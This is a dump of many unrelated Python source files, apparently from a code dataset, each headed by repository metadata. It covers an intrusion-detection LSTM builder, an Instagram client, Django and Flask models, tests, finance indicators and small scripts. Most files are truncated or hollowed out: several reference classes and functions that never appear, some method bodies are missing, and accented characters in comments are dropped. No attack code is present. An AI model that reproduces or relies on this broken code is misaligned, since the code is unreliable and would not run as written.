source/stats/lstm_model_builder.py
dangtunguyen/nids
a92b56a5ac29cc1482ae29374eef02bb7654785f
[ "MIT" ]
null
null
null
source/stats/lstm_model_builder.py
dangtunguyen/nids
a92b56a5ac29cc1482ae29374eef02bb7654785f
[ "MIT" ]
2
2020-12-15T02:43:54.000Z
2021-11-05T03:19:59.000Z
#!/usr/bin/env python from keras.models import Sequential from keras.layers import Dense, Activation, Dropout, TimeDistributed, Flatten from keras.layers import LSTM ''' Reference: https://keras.io/getting-started/sequential-model-guide/ A stateful recurrent model is one for which the internal states (memories) obta...
48.085106
161
0.712389
3bc0be85bb851d619749be911d22c015dc81cc08
26,696
py
Python
pyinstagram/base.py
alessandrocucci/PyInstagram
cd8f30b8c470a8cdcd8da801af897e4d14f7a677
[ "MIT" ]
1
2019-05-03T17:46:02.000Z
2019-05-03T17:46:02.000Z
pyinstagram/base.py
alessandrocucci/PyInstagram
cd8f30b8c470a8cdcd8da801af897e4d14f7a677
[ "MIT" ]
1
2021-06-01T21:51:23.000Z
2021-06-01T21:51:23.000Z
pyinstagram/base.py
alessandrocucci/PyInstagram
cd8f30b8c470a8cdcd8da801af897e4d14f7a677
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import random from datetime import datetime from operator import itemgetter import requests import time from pyinstagram.model import Media from .exceptions import OAuthException, PyInstagramException from .oauth import OAuth from .constants import API_URL from .utils import DESAdapter
44.271973
661
0.523599
3bc1971c02e3a51d7591b4d8543cd3bec3e278e6
1,483
py
Python
csv_readers/stay_points_csv_reader.py
s0lver/stm-creator
b058185ca028abd1902edbb35a52d3565b06f8b0
[ "Apache-2.0" ]
null
null
null
csv_readers/stay_points_csv_reader.py
s0lver/stm-creator
b058185ca028abd1902edbb35a52d3565b06f8b0
[ "Apache-2.0" ]
null
null
null
csv_readers/stay_points_csv_reader.py
s0lver/stm-creator
b058185ca028abd1902edbb35a52d3565b06f8b0
[ "Apache-2.0" ]
null
null
null
import csv from typing import List, Iterator, Dict from entities.StayPoint import StayPoint def read(file_path: str) -> List[StayPoint]: """ Returns a list of StayPoint read from the specified file path :param file_path: The path of file to read :return: A list of StayPoint """ file = open(fi...
29.66
75
0.681052
3bc47ccda883fce926fb879e2f171e425ac7191d
1,959
py
Python
login/models.py
zcw576020095/netsysyconfig_platform
d47be2c5b3418d59a226cb9e135972160e51df00
[ "Unlicense" ]
1
2022-03-25T07:49:10.000Z
2022-03-25T07:49:10.000Z
login/models.py
zcw576020095/netsysyconfig_platform
d47be2c5b3418d59a226cb9e135972160e51df00
[ "Unlicense" ]
null
null
null
login/models.py
zcw576020095/netsysyconfig_platform
d47be2c5b3418d59a226cb9e135972160e51df00
[ "Unlicense" ]
null
null
null
from django.db import models # Create your models here. ## ##
27.591549
78
0.669219
3bc52fc59dc21473a03e193fd04c98996f1d2a1e
2,083
py
Python
DataAnalysis.py
andairka/Simple-default-Backpropagation-ANN
995de1471e2b132af721b2babbec034f29228640
[ "MIT" ]
null
null
null
DataAnalysis.py
andairka/Simple-default-Backpropagation-ANN
995de1471e2b132af721b2babbec034f29228640
[ "MIT" ]
null
null
null
DataAnalysis.py
andairka/Simple-default-Backpropagation-ANN
995de1471e2b132af721b2babbec034f29228640
[ "MIT" ]
null
null
null
import ImportTitanicData import DataPreparation # analiza danych przed preparacj danych # analiza danych po preparacji danych # dataAnaysis = DataAnaliysisBefore() dataAnaysis = DataAnaliysisAfter() # print('czesio') # print('Analiza danych przed wypenieniem NaN') # print('Tabela Train\n', dataAnaysis.showTrain()...
26.367089
63
0.68987
3bc5e3ab47f6373dad23233f3b3391f39ba91b96
10,341
py
Python
tests/api/test_predict.py
mldock/mldock
314b733e4f0102321727f8b145fc276486ecad85
[ "Apache-2.0" ]
2
2021-07-12T13:51:21.000Z
2021-07-19T08:40:02.000Z
tests/api/test_predict.py
mldock/mldock
314b733e4f0102321727f8b145fc276486ecad85
[ "Apache-2.0" ]
41
2021-06-28T11:05:20.000Z
2022-03-13T13:48:50.000Z
tests/api/test_predict.py
mldock/mldock
314b733e4f0102321727f8b145fc276486ecad85
[ "Apache-2.0" ]
1
2021-07-17T19:07:06.000Z
2021-07-17T19:07:06.000Z
"""Test Predict API calls""" import io from PIL import Image from dataclasses import dataclass import tempfile from pathlib import Path import pytest from mock import patch from mldock.api.predict import send_image_jpeg, send_csv, send_json, handle_prediction import responses import requests class TestPredictAPI: ...
35.782007
86
0.579634
3bc608810561bbe247f5ed3cfef52e4be93e7faa
2,081
py
Python
neutron/tests/tempest/api/test_qos_negative.py
mail2nsrajesh/neutron
352afb37afcf4952f03436b25618d0066c51f3f1
[ "Apache-2.0" ]
null
null
null
neutron/tests/tempest/api/test_qos_negative.py
mail2nsrajesh/neutron
352afb37afcf4952f03436b25618d0066c51f3f1
[ "Apache-2.0" ]
null
null
null
neutron/tests/tempest/api/test_qos_negative.py
mail2nsrajesh/neutron
352afb37afcf4952f03436b25618d0066c51f3f1
[ "Apache-2.0" ]
null
null
null
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
41.62
78
0.695819
3bc6222a69419d7c3721ce7c39a656221c86ab89
1,105
py
Python
src/main/python/storytext/lib/storytext/javageftoolkit/__init__.py
emilybache/texttest-runner
2d5c42b8d37699a2cbcb8f19af7c271d6ad1024a
[ "MIT" ]
null
null
null
src/main/python/storytext/lib/storytext/javageftoolkit/__init__.py
emilybache/texttest-runner
2d5c42b8d37699a2cbcb8f19af7c271d6ad1024a
[ "MIT" ]
null
null
null
src/main/python/storytext/lib/storytext/javageftoolkit/__init__.py
emilybache/texttest-runner
2d5c42b8d37699a2cbcb8f19af7c271d6ad1024a
[ "MIT" ]
null
null
null
""" Don't load any Eclipse stuff at global scope, needs to be importable previous to Eclipse starting """ from storytext import javarcptoolkit import sys
38.103448
105
0.761086
3bc648d7577a48d53c343d95dc1ac69b209de7c4
11,380
py
Python
subscribe/models.py
jonge-democraten/dyonisos
bebc5b28761bd5e036e4e6e219b5474d901026c3
[ "MIT" ]
null
null
null
subscribe/models.py
jonge-democraten/dyonisos
bebc5b28761bd5e036e4e6e219b5474d901026c3
[ "MIT" ]
10
2016-10-31T21:14:06.000Z
2021-01-07T22:34:42.000Z
subscribe/models.py
jonge-democraten/dyonisos
bebc5b28761bd5e036e4e6e219b5474d901026c3
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2011,2014 Floor Terra <floort@gmail.com> # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS ...
37.682119
228
0.644991
3bc7d40a1ff3f95ca6bbd675bada6d5806be3718
7,661
py
Python
vumi/worker.py
hnec-vr/vumi
b9c1100176a46774b502d5a0db225930a2d298c7
[ "BSD-3-Clause" ]
1
2016-07-27T17:13:32.000Z
2016-07-27T17:13:32.000Z
vumi/worker.py
TouK/vumi
6d250c7039fa1d82b01c5b68722aa8a6a94580b2
[ "BSD-3-Clause" ]
null
null
null
vumi/worker.py
TouK/vumi
6d250c7039fa1d82b01c5b68722aa8a6a94580b2
[ "BSD-3-Clause" ]
null
null
null
# -*- test-case-name: vumi.tests.test_worker -*- """Basic tools for workers that handle TransportMessages.""" import time import os import socket from twisted.internet.defer import ( inlineCallbacks, succeed, maybeDeferred, gatherResults) from twisted.python import log from vumi.service import Worker from vumi....
35.967136
79
0.645477
3bc950ff5c221db7b60343065a9a70cf058a7e1a
1,204
py
Python
tt/ksl/setup.py
aiboyko/ttpy
8fda9d29e27e4f9f68ffba5cc1e16b3020eb131f
[ "MIT" ]
2
2021-04-02T17:42:03.000Z
2021-11-17T11:30:42.000Z
tt/ksl/setup.py
qbit-/ttpy
596b1c9fe6ce5f0ba66d801ac88a1147204cec2f
[ "MIT" ]
null
null
null
tt/ksl/setup.py
qbit-/ttpy
596b1c9fe6ce5f0ba66d801ac88a1147204cec2f
[ "MIT" ]
1
2021-01-10T07:02:09.000Z
2021-01-10T07:02:09.000Z
# setup.py # This script will build the main subpackages # See LICENSE for details from __future__ import print_function, absolute_import from numpy.distutils.misc_util import Configuration from os.path import join TTFORT_DIR = '../tt-fort' EXPM_DIR = '../tt-fort/expm' EXPOKIT_SRC = [ 'explib.f90', 'n...
19.737705
59
0.58887
3bcd4cf0614ab6f7c88bcffd7170ce176a5a3489
305
py
Python
tests/text_processors/test_json_text_processor.py
lyteloli/NekoGram
f077471000b40a74e0eb4e98dfb570b5e34d23ab
[ "MIT" ]
8
2020-08-21T07:43:52.000Z
2022-01-27T06:48:01.000Z
tests/text_processors/test_json_text_processor.py
lyteloli/NekoGram
f077471000b40a74e0eb4e98dfb570b5e34d23ab
[ "MIT" ]
null
null
null
tests/text_processors/test_json_text_processor.py
lyteloli/NekoGram
f077471000b40a74e0eb4e98dfb570b5e34d23ab
[ "MIT" ]
1
2022-01-27T06:48:02.000Z
2022-01-27T06:48:02.000Z
from NekoGram import Neko, Bot import json
30.5
86
0.688525
3bcdd1ca315307c12c5399ab4a8df2ed64ad6708
7,960
py
Python
itdagene/app/meetings/migrations/0001_initial.py
itdagene-ntnu/itdagene
b972cd3d803debccebbc33641397a39834b8d69a
[ "MIT" ]
9
2018-10-17T20:58:09.000Z
2021-12-16T16:16:45.000Z
itdagene/app/meetings/migrations/0001_initial.py
itdagene-ntnu/itdagene
b972cd3d803debccebbc33641397a39834b8d69a
[ "MIT" ]
177
2018-10-27T18:15:56.000Z
2022-03-28T04:29:06.000Z
itdagene/app/meetings/migrations/0001_initial.py
itdagene-ntnu/itdagene
b972cd3d803debccebbc33641397a39834b8d69a
[ "MIT" ]
null
null
null
from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models
35.695067
87
0.358417
3bcdfa047a911d02d5d42da304bd32569f2f1c95
2,247
py
Python
models/mail.py
Huy-Ngo/temp-mail
6269f1f405cd7447ea0d45799ee1c4a0623d23a6
[ "MIT" ]
3
2022-01-18T17:15:17.000Z
2022-01-22T09:52:19.000Z
models/mail.py
Huy-Ngo/temp-mail
6269f1f405cd7447ea0d45799ee1c4a0623d23a6
[ "MIT" ]
28
2020-06-18T08:53:32.000Z
2020-08-07T02:33:47.000Z
models/mail.py
Huy-Ngo/temp-mail
6269f1f405cd7447ea0d45799ee1c4a0623d23a6
[ "MIT" ]
null
null
null
# Copyright (c) 2020 Ng Ngc c Huy from db import db def set_read(self): """Set the email as read.""" self.is_read = True db.session.add(self) db.session.commit()
28.807692
68
0.549622
3bce9c159c555e02a3e9d2befee3b2b0dfb1fa84
1,681
py
Python
jesse/indicators/bollinger_bands.py
leaiannotti/jesse
564c54845774891ff3b5a8d3c02cc7cea890ac54
[ "MIT" ]
5
2021-05-21T07:39:16.000Z
2021-11-17T11:08:41.000Z
jesse/indicators/bollinger_bands.py
leaiannotti/jesse
564c54845774891ff3b5a8d3c02cc7cea890ac54
[ "MIT" ]
null
null
null
jesse/indicators/bollinger_bands.py
leaiannotti/jesse
564c54845774891ff3b5a8d3c02cc7cea890ac54
[ "MIT" ]
2
2021-05-21T10:14:53.000Z
2021-05-27T04:39:51.000Z
from collections import namedtuple import numpy as np import talib from jesse.indicators.ma import ma from jesse.indicators.mean_ad import mean_ad from jesse.indicators.median_ad import median_ad from jesse.helpers import get_candle_source, slice_candles BollingerBands = namedtuple('BollingerBands', ['upperband', 'm...
32.960784
129
0.684117
3bcf9e27b60f3e382de5df8d52f14b8d023fe9df
3,050
py
Python
coveralls_check.py
jayvdb/coveralls-check
ca3b0428b90fe3c6d22cad3a122dedc2c46d12e4
[ "MIT" ]
null
null
null
coveralls_check.py
jayvdb/coveralls-check
ca3b0428b90fe3c6d22cad3a122dedc2c46d12e4
[ "MIT" ]
2
2018-07-11T07:09:25.000Z
2022-03-10T12:18:18.000Z
coveralls_check.py
jayvdb/coveralls-check
ca3b0428b90fe3c6d22cad3a122dedc2c46d12e4
[ "MIT" ]
1
2020-01-10T05:27:46.000Z
2020-01-10T05:27:46.000Z
from __future__ import print_function import logging from argparse import ArgumentParser import backoff import requests import sys POLL_URL = 'https://coveralls.io/builds/{}.json' DONE_URL = 'https://coveralls.io/webhook'
30.5
80
0.585902
3bd21db03fbff68669d9cf01fd41194e607124e2
1,399
py
Python
ScienceCruiseDataManagement/data_storage_management/utils.py
Swiss-Polar-Institute/science-cruise-data-management
67721a0f4a1255b8ac43e530ed95a8c324239c7c
[ "MIT" ]
6
2017-10-06T09:18:04.000Z
2022-02-10T08:54:56.000Z
ScienceCruiseDataManagement/data_storage_management/utils.py
Swiss-Polar-Institute/science-cruise-data-management
67721a0f4a1255b8ac43e530ed95a8c324239c7c
[ "MIT" ]
12
2020-02-27T09:24:50.000Z
2021-09-22T17:39:55.000Z
ScienceCruiseDataManagement/data_storage_management/utils.py
Swiss-Polar-Institute/science-cruise-data-management
67721a0f4a1255b8ac43e530ed95a8c324239c7c
[ "MIT" ]
1
2017-10-16T13:49:33.000Z
2017-10-16T13:49:33.000Z
import subprocess import glob import os import datetime # This file is part of https://github.com/cpina/science-cruise-data-management # # This project was programmed in a hurry without any prior Django experience, # while circumnavigating the Antarctic on the ACE expedition, without proper # Internet access, with 150...
31.088889
83
0.68549
3bd3be55e7aed0ec74f1031095e8ca063b4aa8fd
515
py
Python
Applied Project/Web/app/config.py
rebeccabernie/CurrencyAnalyser
1f57e5b5fee854912c205cb98f57c980027f0a03
[ "MIT" ]
27
2018-06-22T18:49:52.000Z
2022-02-18T07:58:48.000Z
Applied Project/Web/app/config.py
taraokelly/CurrencyAnalyser
1f57e5b5fee854912c205cb98f57c980027f0a03
[ "MIT" ]
10
2020-01-28T22:24:22.000Z
2022-02-10T13:11:32.000Z
Applied Project/Web/app/config.py
taraokelly/CurrencyAnalyser
1f57e5b5fee854912c205cb98f57c980027f0a03
[ "MIT" ]
6
2018-05-02T16:43:45.000Z
2020-11-17T18:00:36.000Z
""" Global Flask Application Settings """ import os from app import app # Set FLASK_CONFIG env to 'Production' or 'Development' to set Config flask_config = os.environ.get('FLASK_CONFIG', 'Development') app.config.from_object('app.config.{}'.format(flask_config))
19.074074
69
0.700971
3bd3e56f8e3f7640af1c0c1de7776e8679289263
103
py
Python
Exercise-1/Q4_reverse.py
abhay-lal/18CSC207J-APP
79a955a99837e6d41c89cb1a9e84eb0230c0fa7b
[ "MIT" ]
null
null
null
Exercise-1/Q4_reverse.py
abhay-lal/18CSC207J-APP
79a955a99837e6d41c89cb1a9e84eb0230c0fa7b
[ "MIT" ]
null
null
null
Exercise-1/Q4_reverse.py
abhay-lal/18CSC207J-APP
79a955a99837e6d41c89cb1a9e84eb0230c0fa7b
[ "MIT" ]
null
null
null
word = input('Enter a word') len = len(word) for i in range(len-1, -1, -1): print(word[i], end='')
20.6
30
0.572816
3bd475c386fa8a4a56cad45921819b936313ea64
162
py
Python
exercise/6.py
zhaoshengshi/practicepython-exercise
3e123eb602aaf1c9638c7a2199607146e860b96c
[ "Apache-2.0" ]
null
null
null
exercise/6.py
zhaoshengshi/practicepython-exercise
3e123eb602aaf1c9638c7a2199607146e860b96c
[ "Apache-2.0" ]
null
null
null
exercise/6.py
zhaoshengshi/practicepython-exercise
3e123eb602aaf1c9638c7a2199607146e860b96c
[ "Apache-2.0" ]
null
null
null
ss = input('Please give me a string: ') if ss == ss[::-1]: print("Yes, %s is a palindrome." % ss) else: print('Nevermind, %s isn\'t a palindrome.' % ss)
23.142857
52
0.574074
3bd4ef311d3ceb65a757cf2dcd1641a9fa9f94c6
5,420
py
Python
app/v2/resources/users.py
fabischolasi/fast-food-fast-v1
492f0bdaaeadf12089a200a9b64bdfc22cd03d0c
[ "MIT" ]
1
2019-10-16T07:56:31.000Z
2019-10-16T07:56:31.000Z
app/v2/resources/users.py
fabzer0/FastFoodAPI
492f0bdaaeadf12089a200a9b64bdfc22cd03d0c
[ "MIT" ]
null
null
null
app/v2/resources/users.py
fabzer0/FastFoodAPI
492f0bdaaeadf12089a200a9b64bdfc22cd03d0c
[ "MIT" ]
null
null
null
from flask import Blueprint, jsonify, make_response from flask_restful import Resource, Api, reqparse, inputs from ..models.decorators import admin_required from ..models.models import UserModel import os users_api = Blueprint('resources.users', __name__) api = Api(users_api) api.add_resource(SignUp, '/auth/signu...
38.992806
132
0.587823
3bd6298a19903f15f7e907c194b8869777800558
21,160
py
Python
model_blocks/tests.py
aptivate/django-model-blocks
5057ed57887683d777f04c95d67d268d21a18c02
[ "BSD-3-Clause" ]
6
2015-01-20T08:43:44.000Z
2020-08-13T01:57:10.000Z
model_blocks/tests.py
techdragon/django-model-blocks
8175d7353d792cb720b4ac356f4538888bf7747c
[ "BSD-3-Clause" ]
1
2016-10-16T17:35:07.000Z
2016-10-16T17:35:07.000Z
model_blocks/tests.py
techdragon/django-model-blocks
8175d7353d792cb720b4ac356f4538888bf7747c
[ "BSD-3-Clause" ]
null
null
null
""" Test the model blocks """ import datetime from django.test import TestCase from mock import Mock from django.db.models import Model, IntegerField, DateTimeField, CharField from django.template import Context, Template, TemplateSyntaxError from example_project.pepulator_factory.models import Pepulator, Distribut...
44.453782
304
0.578544
3bd65ecba92bc72c9d3f44c46609ce82742a80af
1,794
py
Python
lit_nlp/examples/toxicity_demo.py
ghostian/lit
891673ef120391f4682be4478881fdb408241f82
[ "Apache-2.0" ]
null
null
null
lit_nlp/examples/toxicity_demo.py
ghostian/lit
891673ef120391f4682be4478881fdb408241f82
[ "Apache-2.0" ]
null
null
null
lit_nlp/examples/toxicity_demo.py
ghostian/lit
891673ef120391f4682be4478881fdb408241f82
[ "Apache-2.0" ]
null
null
null
# Lint as: python3 r"""LIT Demo for a Toxicity model. To run locally: python -m lit_nlp.examples.toxicity_demo --port=5432 Once you see the ASCII-art LIT logo, navigate to localhost:5432 to access the demo UI. """ from absl import app from absl import flags from absl import logging from lit_nlp import dev_server ...
30.931034
137
0.755295
3bd7deac97fd990b363d6a3492c5b97386f321f3
2,669
py
Python
portifolio_analysis.py
lucasHashi/app-calculate-stock-portifolio-division
1e2d852215db29f9768bf509d2f52bdec5988ad4
[ "MIT" ]
null
null
null
portifolio_analysis.py
lucasHashi/app-calculate-stock-portifolio-division
1e2d852215db29f9768bf509d2f52bdec5988ad4
[ "MIT" ]
null
null
null
portifolio_analysis.py
lucasHashi/app-calculate-stock-portifolio-division
1e2d852215db29f9768bf509d2f52bdec5988ad4
[ "MIT" ]
null
null
null
import pandas as pd import streamlit as st import plotly.graph_objects as go import plotly.express as px import plotly.io as pio pio.templates.default = "plotly_white"
32.54878
160
0.671787
3bd99b382f3bb66011f0a2e220815e6d5fe49246
864
py
Python
clicrud/clicrud/helpers.py
DavidJohnGee/clicrud
f1f178ac44649efe7b7681d37e97d2632b8971b2
[ "Apache-2.0" ]
9
2015-12-07T23:00:24.000Z
2021-06-23T21:31:47.000Z
clicrud/clicrud/helpers.py
DavidJohnGee/clicrud
f1f178ac44649efe7b7681d37e97d2632b8971b2
[ "Apache-2.0" ]
8
2016-04-05T12:36:54.000Z
2017-05-15T16:00:08.000Z
clicrud/clicrud/helpers.py
DavidJohnGee/clicrud
f1f178ac44649efe7b7681d37e97d2632b8971b2
[ "Apache-2.0" ]
7
2016-06-02T23:39:05.000Z
2021-03-25T20:52:46.000Z
""" Copyright 2015 Brocade Communications Systems, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed t...
24.685714
72
0.689815